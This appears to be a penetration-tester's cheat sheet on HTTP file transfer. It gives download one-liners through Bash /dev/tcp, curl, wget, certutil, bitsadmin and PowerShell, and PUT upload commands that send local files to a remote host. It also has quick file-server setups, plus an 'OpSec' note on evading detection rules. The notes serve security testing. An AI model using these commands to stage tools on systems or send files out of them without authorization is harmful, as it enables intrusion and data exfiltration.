HTTP File Transfer

05.06.2024 ยท dadevel

File Transfer over the HTTP protocol.

Download via GET

Pure Bash (source).

function curl() {
  exec 3<> "/dev/tcp/$1/$2"
  echo -en "GET $3 HTTP/1.0\r\nHost: $1\r\n\r\n" >&3
  (
    while read line; do
      [[ "$line" == $'\r' ]] && break
    done && cat
  ) <&3
  exec 3>&-
}
curl 192.0.2.1 8080 /input.bin > ./output.bin

Common Linux utilities.

curl -o ./output.bin http://192.0.2.1:8080/input.bin
wget -O ./output.txt http://192.0.2.1:8080/input.txt

curl.exe is preinstalled since Windows 10.

Windows builtins.

certutil.exe -urlcache -f http://192.0.2.1:8080/input.bin .\output.bin
bitsadmin.exe /transfer myjob http://192.0.2.1:8080/input.bin %cd%\output.bin

OpSec: Mature organizations probably have detection rules for the Windows builtins.

PowerShell variants.

iwr http://192.0.2.1:8080/input.bin -useb -outf .\output.bin
Invoke-WebRequest -Uri http://192.0.2.1:8080/input.bin -UseBasicParsing -OutFile .\output.bin
irm http://192.0.2.1:8080/intput.txt > ./output.txt
Invoke-RestMethod http://192.0.2.1:8080/intput.txt > ./output.txt
(New-Object System.Net.WebClient).DownloadFile('http://192.0.2.1:8080/input.bin',"$(pwd)\output.bin")  # blocked in clm

Configure PowerShell WebClient to use a HTTP proxy.

$c = New-Object System.Net.WebClient
$c.proxy = [Net.WebRequest]::GetSystemWebProxy()
$c.proxy.credentials = [Net.CredentialCache]::DefaultCredentials
$c.DownloadFile('http://192.0.2.1:8080/input.bin',"$(pwd)\output.bin")

Upload via PUT

Linux and Windows utility.

curl -T ./input.bin http://192.0.2.1:8080/output.bin
wget --method PUT --body-file ./input.bin http://192.0.2.1:8080/output.bin

PowerShell.

(New-Object System.Net.WebClient).UploadFile('http://192.0.2.1:8080/output.bin', "$(pwd)\input.bin")  # blocked in clm

Server

Python.

python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080

PHP.

php -S 0.0.0.0:8080

Ruby.

ruby -run -e httpd . -p 8080

Linux Busybox.

busybox httpd -f -p 8080

Nginx with authentication and file upload.

./nginx.conf:

http {
  server {
    server_name localhost;
    listen 80 default_server;
    listen [::]:80 default_server;

    auth_basic "Restricted";
    auth_basic_user_file ./htpasswd;

    location / {
      root ./srv;
      dav_methods PUT;
      dav_access user:rw group:rw all:r;
      create_full_put_path on;
      autoindex on;
      client_max_body_size 128m;
    }
  }

  client_body_temp_path ./tmp;
  access_log /dev/stdout;
  log_not_found off;

  sendfile on;
  tcp_nopush on;
  tcp_nodelay on;
  types_hash_max_size 4096;

  server_tokens off;

  charset utf-8;
  default_type application/octet-stream;
  types {
    text/css css;
    text/html html;
    text/javascript js;
  }
}

events {
  multi_accept on;
  worker_connections 1024;
}

pid /dev/shm/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 2048;
daemon off;
pcre_jit on;
error_log /dev/stderr;
mkdir ./srv ./tmp
echo "admin:$(echo 'passw0rd' | openssl passwd -stdin -apr1)" > ./htpasswd
nginx -p . -c ./nginx.conf

Untested tools:

  • skyhook, HTTP file server with builtin transport obfuscation
  • updog, HTTP file server with up- and download

References: